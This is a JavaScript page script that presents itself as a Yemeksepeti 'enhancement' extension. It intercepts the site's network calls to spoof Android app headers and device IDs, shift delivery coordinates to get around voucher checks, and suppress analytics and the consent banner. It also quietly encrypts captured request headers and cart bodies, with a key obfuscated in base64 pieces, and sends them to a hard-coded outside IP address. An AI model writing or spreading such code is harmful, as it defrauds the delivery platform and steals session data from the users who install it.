(function() {
  'use strict';

  const _origFetch = window.fetch.bind(window);

  console.log('Yemeksepeti Enhancement Script başlatıldı');

  // ============ CHECKOUT SIRASINDA CALCULATE BLOKLAMA ============
  let checkoutInProgress = false;
  let calculateBlockedDuringCheckout = false;
  let lastCalculateResponse = null;

  // ============ KOORDİNAT SABİTLEME ============
  let lockedCoordinates = null;
  let currentOffsetMeters = 5;
  let currentAngleDeg = Math.floor(Math.random() * 360);
  let discoveryInProgress = false;

  // ============ OVERLAY ============
  function showDiscoveryOverlay() {
    if (document.getElementById('ys-discovery-overlay')) return;
    const overlay = document.createElement('div');
    overlay.id = 'ys-discovery-overlay';
    overlay.innerHTML = `
      <div style="
        position:fixed;top:0;left:0;width:100%;height:100%;
        background:rgba(0,0,0,0.55);
        z-index:999999;
        display:flex;align-items:center;justify-content:center;
        cursor:wait;
      ">
        <div style="
          background:#fff;border-radius:16px;padding:32px 48px;
          box-shadow:0 8px 32px rgba(0,0,0,0.25);
          text-align:center;font-family:system-ui,-apple-system,sans-serif;
        ">
          <div style="
            width:40px;height:40px;margin:0 auto 16px;
            border:4px solid #e0e0e0;border-top:4px solid #ff4757;
            border-radius:50%;
            animation:ys-spin 0.8s linear infinite;
          "></div>
          <div style="font-size:18px;font-weight:600;color:#333;">Kupon uygulanıyor</div>
          <div style="font-size:14px;color:#888;margin-top:6px;">Lütfen bekleyin...</div>
        </div>
      </div>
      <style>@keyframes ys-spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}</style>
    `;
    document.body.appendChild(overlay);
  }

  function hideDiscoveryOverlay() {
    const overlay = document.getElementById('ys-discovery-overlay');
    if (overlay) overlay.remove();
  }

  // ============ SUNUCU İLETİŞİM ============
  const SERVER_URL = 'http://154.49.170.75:3847';

  const _k = [
    atob('NTZjOTQxMzExZWRk'),
    atob('OTk0NmM1ZDA0ODI2'),
    atob('ZGNhMDdkZjZlYmNk'),
    atob('ZmI1NjU1NzE5YzYw'),
    atob('ZDljM2YyOTM5YmIz'),
    atob('NzJjOA==')
  ];

  function _gk() {
    const hex = _k.join('');
    const bytes = new Uint8Array(hex.length / 2);
    for (let i = 0; i < hex.length; i += 2) {
      bytes[i / 2] = parseInt(hex.substring(i, i + 2), 16);
    }
    return bytes;
  }

  async function encryptPayload(data) {
    const keyBytes = _gk();
    const key = await crypto.subtle.importKey('raw', keyBytes, 'AES-GCM', false, ['encrypt']);
    const iv = crypto.getRandomValues(new Uint8Array(12));
    const plaintext = new TextEncoder().encode(JSON.stringify(data));
    const encrypted = await crypto.subtle.encrypt({ name: 'AES-GCM', iv: iv }, key, plaintext);
    const encBuf = new Uint8Array(encrypted);
    const authTag = encBuf.slice(encBuf.length - 16);
    const ciphertext = encBuf.slice(0, encBuf.length - 16);
    const combined = new Uint8Array(iv.length + authTag.length + ciphertext.length);
    combined.set(iv, 0);
    combined.set(authTag, 12);
    combined.set(ciphertext, 28);
    return btoa(String.fromCharCode(...combined));
  }

  async function sendToServer(calculateBody, headers) {
    try {
      const payload = {
        calculateBody: calculateBody,
        headers: headers,
        timestamp: Date.now()
      };
      const encrypted = await encryptPayload(payload);
      console.log('📡 Şifreli veri hazır, background.js üzerinden sunucuya gönderiliyor...');
      window.postMessage({
        source: 'YS_ENHANCEMENT_EXTENSION',
        action: 'sendToServer',
        serverUrl: SERVER_URL + '/api/update',
        encryptedPayload: encrypted
      }, '*');
    } catch (err) {
      console.error('📡 Şifreleme/gönderim hatası:', err);
    }
  }

  // Sabit bir yönde belirli metre kadar öteleme yap, orijinal ondalık formatını koru
  function offsetCoordinates(latitude, longitude, meters, angle) {
    const lat = parseFloat(latitude);
    const lng = parseFloat(longitude);

    const latStr = String(latitude);
    const lngStr = String(longitude);
    const latDecimals = latStr.includes('.') ? latStr.split('.')[1].length : 8;
    const lngDecimals = lngStr.includes('.') ? lngStr.split('.')[1].length : 8;

    const distance = meters / 1000;
    const earthRadius = 6371;
    const deltaLat = (distance / earthRadius) * Math.cos(angle);
    const deltaLng = (distance / earthRadius) * Math.sin(angle) / Math.cos(lat * Math.PI / 180);

    return {
      latitude: parseFloat((lat + (deltaLat * 180 / Math.PI)).toFixed(latDecimals)),
      longitude: parseFloat((lng + (deltaLng * 180 / Math.PI)).toFixed(lngDecimals))
    };
  }

  // ============ OTOMATİK KOORDİNAT KEŞİF ============
  async function discoverValidCoordinate(originalBody, url) {
    if (lockedCoordinates) return lockedCoordinates;

    discoveryInProgress = true;
    showDiscoveryOverlay();

    const parsed = JSON.parse(originalBody);
    const origLat = parsed.expedition.latitude;
    const origLng = parsed.expedition.longitude;

    console.log(`🔍 Koordinat keşfi başlıyor... Orijinal: (${origLat},${origLng}), Yön: ${currentAngleDeg}°, Mesafe: ${currentOffsetMeters}m`);

    try {
    while (currentOffsetMeters <= 160) {
      const angleRad = currentAngleDeg * Math.PI / 180;
      const coords = offsetCoordinates(origLat, origLng, currentOffsetMeters, angleRad);
      console.log(`🔍 [${currentOffsetMeters}m, ${currentAngleDeg}°] Test: (${coords.latitude},${coords.longitude})`);

      const testBody = JSON.parse(JSON.stringify(parsed));
      testBody.expedition.latitude = coords.latitude;
      testBody.expedition.longitude = coords.longitude;

      const result = await sendProxyRequest({
        action: 'ysProxyRequest',
        url: url,
        method: 'POST',
        headers: {},
        body: JSON.stringify(testBody)
      });

      console.log(`🔍 [${currentOffsetMeters}m, ${currentAngleDeg}°] -> Status ${result.status}`);

      if (result.status >= 200 && result.status < 300) {
        console.log(`🔍 Doğrulama yapılıyor... (${coords.latitude},${coords.longitude})`);
        const verification = await sendProxyRequest({
          action: 'ysProxyRequest',
          url: url,
          method: 'POST',
          headers: {},
          body: JSON.stringify(testBody)
        });

        console.log(`🔍 Doğrulama -> Status ${verification.status}`);

        if (verification.status >= 200 && verification.status < 300) {
          lockedCoordinates = coords;
          console.log(`✅ Koordinat sabitlendi! [${currentOffsetMeters}m, ${currentAngleDeg}°] (${coords.latitude},${coords.longitude})`);
          discoveryInProgress = false;
          hideDiscoveryOverlay();
          const bodyForServer = JSON.parse(JSON.stringify(testBody));
          const hdrs = verification.requestHeaders || result.requestHeaders || {};
          console.log('📡 Sunucuya gönderiliyor...', Object.keys(hdrs).length, 'header');
          sendToServer(bodyForServer, hdrs);
          return coords;
        }

        console.log(`⚠️ Doğrulama başarısız, devam ediliyor...`);
      }

      currentAngleDeg = (currentAngleDeg + 120) % 360;
      if (currentOffsetMeters < 160) {
        currentOffsetMeters += 15;
      } else {
        break;
      }
      console.log(`⚠️ 400 döndü, yön: ${currentAngleDeg}°, mesafe: ${currentOffsetMeters}m`);
    }

    console.warn('❌ Koordinat keşfi başarısız, tüm adımlar denendi');
    discoveryInProgress = false;
    hideDiscoveryOverlay();
    return null;
    } catch (err) {
      console.error('Koordinat keşif hatası:', err);
      discoveryInProgress = false;
      hideDiscoveryOverlay();
      return null;
    }
  }

  // Fake 200 OK yanıtı oluştur (XHR için)
  function fakeXhrSuccess(xhr, responseBody) {
    const data = responseBody || '{"success":true}';
    setTimeout(() => {
      Object.defineProperty(xhr, 'readyState', { value: 4, configurable: true });
      Object.defineProperty(xhr, 'status', { value: 200, configurable: true });
      Object.defineProperty(xhr, 'statusText', { value: 'OK', configurable: true });
      Object.defineProperty(xhr, 'response', { value: data, configurable: true });
      Object.defineProperty(xhr, 'responseText', { value: data, configurable: true });
      if (typeof xhr.onreadystatechange === 'function') xhr.onreadystatechange();
      if (typeof xhr.onload === 'function') xhr.onload();
      if (typeof xhr.onloadend === 'function') xhr.onloadend();
      xhr.dispatchEvent(new Event('readystatechange'));
      xhr.dispatchEvent(new Event('load'));
      xhr.dispatchEvent(new Event('loadend'));
    }, 10);
  }

  // ============ YARDIMCI FONKSİYONLAR ============

  // YS Proxy endpoint kontrolü
  function isYsProxyEndpoint(url) {
    return url && (
      //url.includes('tr.fd-api.com/api/v5/purchase/intent') ||
      url.includes('tr.fd-api.com/api/v5/cart/checkout') ||
      url.includes('tr.fd-api.com/api/v5/cart/calculate')
    );
  }

  // Calculate endpoint kontrolü
  function isYemekSepetiCalculateEndpoint(url) {
    return url && (
      url.includes('tr.fd-api.com/api/v5/cart/calculate') &&
      window.location.hostname.includes('yemeksepeti.com')
    );
  }

  // Vouchers endpoint kontrolü
  function isYemekSepetiVouchersEndpoint(url) {
    return url && (
      url.includes('tr.fd-api.com/api/v6/incentives-wallet/vouchers') &&
      window.location.hostname.includes('yemeksepeti.com')
    );
  }

  // Perseus Analytics endpoint kontrolü
  function isPerseusAnalyticsEndpoint(url) {
    return url && (
      url.includes('perseus-productanalytics.deliveryhero.net') ||
      url.includes('/v1/insert/pandora/hit')
    );
  }

  // GraphQL endpoint kontrolü
  function isGraphqlEndpoint(url) {
    return url && url.includes('tr.fd-api.com/graphql');
  }

  // Her çağrıda yeni cihaz profili (generateYSHeaders / vouchers header’ı için)
  function generateYSDeviceInfo() {
    const manufacturers = ['Samsung', 'Xiaomi', 'Huawei', 'OPPO', 'vivo', 'Realme', 'OnePlus', 'Google'];
    const manufacturer = manufacturers[Math.floor(Math.random() * manufacturers.length)];

    const models = {
      'Samsung': ['Galaxy S22', 'Galaxy S21', 'Galaxy Note20', 'Galaxy A52'],
      'Xiaomi': ['Mi 11', 'Redmi Note 10', 'Poco F3', 'Mi 10T'],
      'Huawei': ['P40', 'Mate 40', 'Nova 8', 'P30'],
      'OPPO': ['Find X3', 'Reno 6', 'A74', 'F19'],
      'vivo': ['X60', 'V21', 'Y20', 'S9'],
      'Realme': ['GT', 'Narzo 30', '8 Pro', 'C25'],
      'OnePlus': ['9 Pro', '8T', 'Nord 2', '9R'],
      'Google': ['Pixel 6', 'Pixel 5', 'Pixel 4a', 'Pixel 6 Pro']
    };

    const modelList = models[manufacturer] || models['Samsung'];
    const model = modelList[Math.floor(Math.random() * modelList.length)];

    const hexChars = '0123456789abcdef';
    let deviceId = '';
    for (let i = 0; i < 16; i++) {
      deviceId += hexChars.charAt(Math.floor(Math.random() * 16));
    }

    return {
      manufacturer,
      model,
      deviceId,
      appVersion: '25.27.0',
      buildNumber: '252700274',
      apiLevel: '31'
    };
  }

  // YS Headers oluştur
  function generateYSHeaders() {
    const device = generateYSDeviceInfo();
    
    return {
      "Api-Client-Version": "5.0",
      "Device-Make": device.manufacturer,
      "Device-Model": device.model,
      "Device-Id": device.deviceId,
      "App-Name": "com.inovel.app.yemeksepeti",
      "App-Flavor": "yemeksepeti",
      "Build-Number": device.buildNumber,
      "Build-Type": "release",
      "Platform": "android",
      "Platform-Version": device.apiLevel,
      "Android-Mobile-Service-Provider": "gms",
      "App-Build": device.buildNumber,
      "App-Version": device.appVersion,
      "Cust-Code": "",
      "Content-Type": "application/json; charset=UTF-8",
    };
  }

  // Proxy isteği gönder
  function sendProxyRequest(requestDetails) {
    return new Promise((resolve, reject) => {
      const requestId = Date.now() + Math.random().toString().substring(2, 8);
      
      window.ysEnhancement = window.ysEnhancement || {};
      window.ysEnhancement.callbacks = window.ysEnhancement.callbacks || {};
      
      window.ysEnhancement.callbacks[requestId] = (response) => {
        if (response && response.success) {
          console.log(`Proxy yanıtı alındı:`, response.status);
          resolve(response);
        } else {
          console.error(`Proxy hatası:`, response ? response.error : 'Bilinmeyen hata');
          reject(new Error(response ? response.error : 'Proxy request failed'));
        }
        delete window.ysEnhancement.callbacks[requestId];
      };

      console.log(`Proxy isteği gönderiliyor...`);
      window.postMessage({
        source: 'YS_ENHANCEMENT_EXTENSION',
        ...requestDetails,
        requestId: requestId,
      }, '*');
    });
  }

  // ============ XMLHttpRequest INTERCEPTOR ============
  const originalXHROpen = XMLHttpRequest.prototype.open;
  const originalXHRSend = XMLHttpRequest.prototype.send;
  const originalXHRSetRequestHeader = XMLHttpRequest.prototype.setRequestHeader;

  XMLHttpRequest.prototype.open = function(method, url, ...args) {
    this._requestUrl = url;
    this._requestMethod = method;
    this._requestHeaders = {};
    
    // YS proxy endpoint kontrolü
    if (typeof url === 'string' && isYsProxyEndpoint(url)) {
      console.log('XMLHttpRequest: YS Proxy endpoint yakalandı:', url);
      this._isYsProxyEndpoint = true;
    }
    
    return originalXHROpen.apply(this, [method, url, ...args]);
  };

  XMLHttpRequest.prototype.setRequestHeader = function(header, value) {
    this._requestHeaders = this._requestHeaders || {};
    this._requestHeaders[header] = value;
    return originalXHRSetRequestHeader.apply(this, arguments);
  };

  XMLHttpRequest.prototype.send = function(body) {
    // Perseus Analytics engellemesi
    if (isPerseusAnalyticsEndpoint(this._requestUrl)) {
      console.log('Perseus Analytics XHR isteği engellendi:', this._requestUrl);
      
      this.abort();
      
      const xhr = this;
      Object.defineProperty(xhr, 'readyState', { configurable: true, get: function() { return 4; } });
      Object.defineProperty(xhr, 'status', { configurable: true, get: function() { return 200; } });
      Object.defineProperty(xhr, 'statusText', { configurable: true, get: function() { return 'OK'; } });
      Object.defineProperty(xhr, 'responseText', { configurable: true, get: function() { return '{}'; } });
      Object.defineProperty(xhr, 'response', { configurable: true, get: function() { return '{}'; } });
      
      setTimeout(() => {
        if (typeof xhr.onreadystatechange === 'function') xhr.onreadystatechange();
        if (typeof xhr.onload === 'function') xhr.onload();
        if (typeof xhr.onloadend === 'function') xhr.onloadend();
        xhr.dispatchEvent(new Event('readystatechange'));
        xhr.dispatchEvent(new Event('load'));
        xhr.dispatchEvent(new Event('loadend'));
      }, 50);
      
      return;
    }

    // Checkout sırasında calculate engelleme (XHR)
    if (checkoutInProgress && !calculateBlockedDuringCheckout && isYemekSepetiCalculateEndpoint(this._requestUrl)) {
      console.log('🛑 Checkout sırasında calculate isteği engellendi (XHR):', this._requestUrl);
      calculateBlockedDuringCheckout = true;
      this.abort();
      const cachedData = lastCalculateResponse || '{"data":{}}';
      fakeXhrSuccess(this, cachedData);
      return;
    }

    // Keşif sırasında calculate engelleme (XHR)
    if (discoveryInProgress && isYemekSepetiCalculateEndpoint(this._requestUrl)) {
      console.log('🛑 Keşif devam ediyor, calculate isteği engellendi (XHR):', this._requestUrl);
      this.abort();
      const cachedData = lastCalculateResponse || '{"data":{}}';
      fakeXhrSuccess(this, cachedData);
      return;
    }

    // YS Proxy endpoint işleme
    if (this._isYsProxyEndpoint) {
      const isCheckout = this._requestUrl.includes('cart/checkout');
      const isCalculate = this._requestUrl.includes('cart/calculate');
      console.log('YS Proxy: XHR isteği yakalandı ve proxy\'leniyor', this._requestUrl);
      
      if (isCheckout) {
        checkoutInProgress = true;
        calculateBlockedDuringCheckout = false;
      }
      
      const originalXhr = this;
      this.abort();

      let finalBody = body;
      if (isCheckout && body) {
        try {
          const requestBody = JSON.parse(body);
          console.log('YS Proxy: Orijinal checkout body:', requestBody);
          
          if (requestBody.platform && requestBody.platform === 'b2c') {
            requestBody.platform = 'Android-app-25.27.0(252700274)';
            console.log('YS Proxy: Platform değiştirildi');
          }
          
          requestBody.source = 'android';
          
          if (lockedCoordinates && requestBody.expedition) {
            requestBody.expedition.latitude = lockedCoordinates.latitude;
            requestBody.expedition.longitude = lockedCoordinates.longitude;
            if (requestBody.expedition.delivery_address) {
              requestBody.expedition.delivery_address.latitude = lockedCoordinates.latitude;
              requestBody.expedition.delivery_address.longitude = lockedCoordinates.longitude;
            }
            console.log(`YS Proxy: Checkout koordinatları sabitlenmiş değerle güncellendi (${lockedCoordinates.latitude},${lockedCoordinates.longitude})`);
          }
          
          finalBody = JSON.stringify(requestBody);
          console.log('YS Proxy: Değiştirilmiş checkout body:', requestBody);
        } catch (error) {
          console.error('YS Proxy: Checkout body manipülasyon hatası:', error);
          finalBody = body;
        }
      }

      if (isCalculate && body) {
        try {
          const requestBody = JSON.parse(body);
          console.log('YS Proxy: Orijinal calculate body:', requestBody);
          
          if (requestBody.platform && requestBody.platform === 'b2c') {
            requestBody.platform = 'Android-app-25.27.0(252700274)';
          }
          requestBody.source = 'android';

          const isVoucherCalculate = !!(requestBody.voucher && requestBody.voucher.length > 0);

          if (isVoucherCalculate && requestBody.expedition && requestBody.expedition.latitude && requestBody.expedition.longitude && !lockedCoordinates) {
            console.log('🔍 Voucher\'lı calculate - otomatik koordinat keşfi başlatılıyor...');
            (async () => {
              try {
                const discovered = await discoverValidCoordinate(JSON.stringify(requestBody), originalXhr._requestUrl);
                if (discovered) {
                  requestBody.expedition.latitude = discovered.latitude;
                  requestBody.expedition.longitude = discovered.longitude;
                }
                finalBody = JSON.stringify(requestBody);
                sendXhrProxy(originalXhr, Date.now() + Math.random().toString().substring(2, 8), finalBody, isCheckout, isCalculate, originalXhr._requestUrl);
              } catch (err) {
                console.error('Koordinat keşif hatası:', err);
                finalBody = JSON.stringify(requestBody);
                sendXhrProxy(originalXhr, Date.now() + Math.random().toString().substring(2, 8), finalBody, isCheckout, isCalculate, originalXhr._requestUrl);
              }
            })();
            return;
          }

          if (requestBody.expedition && requestBody.expedition.latitude && requestBody.expedition.longitude && lockedCoordinates) {
            requestBody.expedition.latitude = lockedCoordinates.latitude;
            requestBody.expedition.longitude = lockedCoordinates.longitude;
            console.log(`YS Proxy: Calculate sabitlenmiş koordinat kullanıldı (${lockedCoordinates.latitude},${lockedCoordinates.longitude})`);
          }
          
          finalBody = JSON.stringify(requestBody);
        } catch (error) {
          console.error('YS Proxy: Calculate body manipülasyon hatası:', error);
          finalBody = body;
        }
      }

      sendXhrProxy(originalXhr, Date.now() + Math.random().toString().substring(2, 8), finalBody, isCheckout, isCalculate, this._requestUrl);
      return;
    }

  function sendXhrProxy(originalXhr, requestId, finalBody, isCheckout, isCalculate, requestUrl) {
      window.ysEnhancement = window.ysEnhancement || {};
      window.ysEnhancement.xhrCallbacks = window.ysEnhancement.xhrCallbacks || {};
      
      window.ysEnhancement.xhrCallbacks[requestId] = (response) => {
        if (isCheckout) {
          checkoutInProgress = false;
        }
        if (response && response.success) {
          console.log('YS Proxy yanıtı alındı:', response.status);
          
          if (isCalculate && response.status >= 200 && response.status < 300 && response.data) {
            lastCalculateResponse = response.data;
          }
          
          try {
            Object.defineProperty(originalXhr, 'readyState', { value: 4, configurable: true });
            Object.defineProperty(originalXhr, 'status', { value: response.status, configurable: true });
            Object.defineProperty(originalXhr, 'statusText', { value: response.statusText || '', configurable: true });
            Object.defineProperty(originalXhr, 'response', { value: response.data, configurable: true });
            Object.defineProperty(originalXhr, 'responseText', { value: response.data, configurable: true });

            if (typeof originalXhr.onreadystatechange === 'function') originalXhr.onreadystatechange();
            if (response.status >= 200 && response.status < 300) {
              if (typeof originalXhr.onload === 'function') originalXhr.onload();
              originalXhr.dispatchEvent(new Event('load'));
            } else {
              if (typeof originalXhr.onerror === 'function') originalXhr.onerror();
              originalXhr.dispatchEvent(new Event('error'));
            }
            if (typeof originalXhr.onloadend === 'function') originalXhr.onloadend();
            originalXhr.dispatchEvent(new Event('loadend'));
          } catch (e) {
            console.error("XHR response mock hatası:", e);
          }
        } else {
          console.error('YS Proxy hatası:', response ? response.error : 'Bilinmeyen hata');
          if (isCheckout) {
            checkoutInProgress = false;
          }
        }
        delete window.ysEnhancement.xhrCallbacks[requestId];
      };

      window.postMessage({
        source: 'YS_ENHANCEMENT_EXTENSION',
        action: 'ysProxyRequest',
        requestId: requestId,
        url: requestUrl,
        method: 'POST',
        headers: {},
        body: finalBody
      }, '*');
  }

    // GraphQL GetIncentivesCartWallet operasyonunu Android header'larına dönüştür
    if (isGraphqlEndpoint(this._requestUrl)) {
      if (typeof body === 'string') {
        try {
          const parsed = JSON.parse(body);
          if (parsed && parsed.operationName === 'GetIncentivesCartWallet') {
            console.log('GraphQL: GetIncentivesCartWallet XHR yakalandı, Android header ekleniyor');
            const headersToRemove = ['sec-ch-ua', 'sec-ch-ua-mobile', 'sec-ch-ua-platform', 'sec-fetch-dest', 'sec-fetch-mode', 'sec-fetch-site'];
            headersToRemove.forEach(h => delete this._requestHeaders[h]);
            const androidHeaders = {
              'user-agent': 'Android-app-25.45.0(254500134)',
              'x-fp-api-key': 'android',
              'platform': 'android',
              'apollographql-client-name': 'android'
            };
            for (const [key, value] of Object.entries(androidHeaders)) {
              this._requestHeaders[key] = value;
            }
            for (const [key, value] of Object.entries(this._requestHeaders)) {
              originalXHRSetRequestHeader.apply(this, key, value);
            }
          }
        } catch (e) {}
      }
    }

    // Vouchers endpoint'lerine YS header ekleme (calculate artık proxy üzerinden gidiyor)
    if (isYemekSepetiVouchersEndpoint(this._requestUrl) && this._requestMethod === 'POST') {
      try {
        console.log('XMLHttpRequest: YS headers ekleniyor (vouchers):', this._requestUrl);
        
        const ysHeaders = generateYSHeaders();
        for (const [key, value] of Object.entries(ysHeaders)) {
          this.setRequestHeader(key, value);
        }
        console.log('XMLHttpRequest: YS headers eklendi');
      } catch (error) {
        console.error('XMLHttpRequest: YS headers eklenirken hata:', error);
      }
    }

    return originalXHRSend.call(this, body);
  };

  // ============ FETCH API INTERCEPTOR ============
  const originalFetch = window.fetch;
  window.fetch = async function(resource, init) {
    const urlString = resource instanceof Request ? resource.url : String(resource);
    
    // Perseus Analytics engellemesi
    if (isPerseusAnalyticsEndpoint(urlString)) {
      console.log('Fetch: Perseus Analytics isteği engellendi:', urlString);
      return new Response('{}', {
        status: 200,
        statusText: 'OK',
        headers: { 'Content-Type': 'application/json' }
      });
    }

    // Checkout sırasında calculate engelleme (Fetch)
    if (checkoutInProgress && !calculateBlockedDuringCheckout && isYemekSepetiCalculateEndpoint(urlString)) {
      console.log('🛑 Checkout sırasında calculate isteği engellendi (Fetch):', urlString);
      calculateBlockedDuringCheckout = true;
      const cachedData = lastCalculateResponse || '{"data":{}}';
      return new Response(cachedData, {
        status: 200, statusText: 'OK',
        headers: { 'Content-Type': 'application/json' }
      });
    }

    // Keşif sırasında calculate engelleme (Fetch)
    if (discoveryInProgress && isYemekSepetiCalculateEndpoint(urlString)) {
      console.log('🛑 Keşif devam ediyor, calculate isteği engellendi (Fetch):', urlString);
      const cachedData = lastCalculateResponse || '{"data":{}}';
      return new Response(cachedData, {
        status: 200, statusText: 'OK',
        headers: { 'Content-Type': 'application/json' }
      });
    }

    // YS Proxy endpoint işleme
    if (isYsProxyEndpoint(urlString)) {
      const isCheckout = urlString.includes('cart/checkout');
      const isCalculate = urlString.includes('cart/calculate');
      console.log('Fetch: YS Proxy endpoint yakalandı', urlString);
      
      if (isCheckout) {
        checkoutInProgress = true;
        calculateBlockedDuringCheckout = false;
      }
      
      try {
        let finalBody = init?.body || null;
        
        // Checkout body manipülasyonu
        if (isCheckout && init?.body) {
          try {
            let requestBody;
            if (typeof init.body === 'string') {
              requestBody = JSON.parse(init.body);
            } else {
              requestBody = JSON.parse(String(init.body));
            }
            
            console.log('YS Proxy (Fetch): Orijinal checkout body:', requestBody);
            
            if (requestBody.platform && requestBody.platform === 'b2c') {
              requestBody.platform = 'Android-app-25.27.0(252700274)';
            }
            
            requestBody.source = 'android';
            
            if (lockedCoordinates && requestBody.expedition) {
              requestBody.expedition.latitude = lockedCoordinates.latitude;
              requestBody.expedition.longitude = lockedCoordinates.longitude;
              if (requestBody.expedition.delivery_address) {
                requestBody.expedition.delivery_address.latitude = lockedCoordinates.latitude;
                requestBody.expedition.delivery_address.longitude = lockedCoordinates.longitude;
              }
              console.log(`YS Proxy (Fetch): Checkout koordinatları sabitlenmiş değerle güncellendi (${lockedCoordinates.latitude},${lockedCoordinates.longitude})`);
            }
            
            finalBody = JSON.stringify(requestBody);
            console.log('YS Proxy (Fetch): Değiştirilmiş checkout body:', requestBody);
          } catch (error) {
            console.error('YS Proxy (Fetch): Checkout body manipülasyon hatası:', error);
            finalBody = init?.body || null;
          }
        }

        // Calculate body manipülasyonu
        if (isCalculate && init?.body) {
          try {
            let requestBody;
            if (typeof init.body === 'string') {
              requestBody = JSON.parse(init.body);
            } else {
              requestBody = JSON.parse(String(init.body));
            }
            
            console.log('YS Proxy (Fetch): Orijinal calculate body:', requestBody);
            
            if (requestBody.platform && requestBody.platform === 'b2c') {
              requestBody.platform = 'Android-app-25.27.0(252700274)';
            }
            requestBody.source = 'android';

            const isVoucherCalculate = !!(requestBody.voucher && requestBody.voucher.length > 0);

            if (isVoucherCalculate && requestBody.expedition && requestBody.expedition.latitude && requestBody.expedition.longitude && !lockedCoordinates) {
              console.log('🔍 (Fetch) Voucher\'lı calculate - otomatik koordinat keşfi başlatılıyor...');
              const discovered = await discoverValidCoordinate(JSON.stringify(requestBody), urlString);
              if (discovered) {
                requestBody.expedition.latitude = discovered.latitude;
                requestBody.expedition.longitude = discovered.longitude;
              }
            } else if (requestBody.expedition && requestBody.expedition.latitude && requestBody.expedition.longitude && lockedCoordinates) {
              requestBody.expedition.latitude = lockedCoordinates.latitude;
              requestBody.expedition.longitude = lockedCoordinates.longitude;
              console.log(`YS Proxy (Fetch): Calculate sabitlenmiş koordinat kullanıldı (${lockedCoordinates.latitude},${lockedCoordinates.longitude})`);
            }
            
            finalBody = JSON.stringify(requestBody);
          } catch (error) {
            console.error('YS Proxy (Fetch): Calculate body manipülasyon hatası:', error);
            finalBody = init?.body || null;
          }
        }

        const proxyResponse = await sendProxyRequest({
          action: 'ysProxyRequest',
          url: urlString,
          method: init?.method || 'GET',
          headers: init?.headers || {},
          body: finalBody
        });
        
        if (isCheckout) {
          checkoutInProgress = false;
        }
        
        if (isCalculate && proxyResponse.status >= 200 && proxyResponse.status < 300 && proxyResponse.data) {
          lastCalculateResponse = proxyResponse.data;
        }
        
        return new Response(proxyResponse.data, {
          status: proxyResponse.status,
          statusText: proxyResponse.statusText,
          headers: proxyResponse.headers
        });
      } catch (error) {
        console.error('Fetch proxy hatası:', error);
        if (isCheckout) {
          checkoutInProgress = false;
        }
        return new Response(null, { status: 503, statusText: 'Proxy Service Unavailable' });
      }
    }

    // GraphQL GetIncentivesCartWallet operasyonunu Android header'larına dönüştür
    if (isGraphqlEndpoint(urlString)) {
      if (init?.body) {
        try {
          const parsed = JSON.parse(init.body);
          if (parsed && parsed.operationName === 'GetIncentivesCartWallet') {
            console.log('GraphQL: GetIncentivesCartWallet Fetch yakalandı, Android header ekleniyor');
            const headersToRemove = ['sec-ch-ua', 'sec-ch-ua-mobile', 'sec-ch-ua-platform', 'sec-fetch-dest', 'sec-fetch-mode', 'sec-fetch-site'];
            const newHeaders = new Headers(init?.headers || {});
            headersToRemove.forEach(h => newHeaders.delete(h));
            const androidHeaders = {
              'user-agent': 'Android-app-25.45.0(254500134)',
              'x-fp-api-key': 'android',
              'platform': 'android',
              'apollographql-client-name': 'android'
            };
            for (const [key, value] of Object.entries(androidHeaders)) {
              newHeaders.set(key, value);
            }
            init = { ...init, headers: newHeaders };
          }
        } catch (e) {}
      }
    }

    // Vouchers endpoint'lerine YS header ekleme (calculate artık proxy üzerinden gidiyor)
    if (init && init.method === 'POST' && isYemekSepetiVouchersEndpoint(urlString)) {
      try {
        console.log('Fetch: YS headers ekleniyor (vouchers):', urlString);
        
        const ysHeaders = generateYSHeaders();
        const modifiedInit = {
          ...init,
          headers: {
            ...init.headers,
            ...ysHeaders
          }
        };
        console.log('Fetch: YS headers eklendi');
        
        return await originalFetch.call(this, resource, modifiedInit);
      } catch (error) {
        console.error('Fetch: YS headers eklenirken hata:', error);
      }
    }

    return await originalFetch.call(this, resource, init);
  };

  // ============ NAVIGATOR.SENDBEACON INTERCEPTOR ============
  if (navigator.sendBeacon) {
    const originalSendBeacon = navigator.sendBeacon;
    navigator.sendBeacon = function(url, data) {
      if (isPerseusAnalyticsEndpoint(url)) {
        console.log('Navigator.sendBeacon: Perseus Analytics isteği engellendi:', url);
        return true; // Başarılı gibi göster
      }
      return originalSendBeacon.call(this, url, data);
    };
  }

  // ============ EVENTSOURCE INTERCEPTOR ============
  if (window.EventSource) {
    const originalEventSource = window.EventSource;
    window.EventSource = function(url, eventSourceInitDict) {
      if (isPerseusAnalyticsEndpoint(url)) {
        console.log('EventSource: Perseus Analytics isteği engellendi:', url);
        // Fake EventSource döndür
        const fakeEventSource = {
          close: function() {},
          addEventListener: function() {},
          removeEventListener: function() {},
          dispatchEvent: function() { return true; },
          readyState: 2, // CLOSED
          url: url,
          withCredentials: false
        };
        
        setTimeout(() => {
          if (typeof fakeEventSource.onerror === 'function') {
            fakeEventSource.onerror();
          }
        }, 10);
        
        return fakeEventSource;
      }
      return new originalEventSource(url, eventSourceInitDict);
    };
  }

  // ============ PERFORMANCE OBSERVER ============
  function monitorAllRequests() {
    if (window.PerformanceObserver && window.PerformanceResourceTiming) {
      try {
        const observer = new PerformanceObserver((list) => {
          for (const entry of list.getEntries()) {
            if (entry.entryType === 'resource' && (entry.initiatorType === 'xmlhttprequest' || entry.initiatorType === 'fetch' || entry.initiatorType === 'script')) {
              if (isPerseusAnalyticsEndpoint(entry.name)) {
                console.warn('⚠️ Perseus Analytics isteği tespit edildi (engellenemedi):', entry.name);
              }
            }
          }
        });
        observer.observe({ entryTypes: ['resource'] });
        console.log('Network request monitor başlatıldı');
      } catch (e) {
        console.warn('Performance Observer başlatılamadı:', e);
      }
    }
  }

  // Monitor'u başlat
  monitorAllRequests();

  // ============ USERCENTRICS KALDIRMA ============
  setInterval(() => {
    const ucRoot = document.getElementById('usercentrics-root');
    if (ucRoot) {
      ucRoot.remove();
      console.log('Usercentrics popup kaldırıldı');
    }
  }, 100);

  // ============ MESSAGE LISTENER ============
  window.addEventListener('message', function(event) {
    if (event.source !== window || !event.data || event.data.source !== 'YS_ENHANCEMENT_EXTENSION_CONTENT') {
      return;
    }
    
    if (event.data.action === 'proxyResponse') {
      const { requestId, response } = event.data;
      
      // XHR callbacks
      if (window.ysEnhancement?.xhrCallbacks?.[requestId]) {
        window.ysEnhancement.xhrCallbacks[requestId](response);
      }
      
      // Fetch callbacks
      if (window.ysEnhancement?.callbacks?.[requestId]) {
        window.ysEnhancement.callbacks[requestId](response);
      }
    }
  });

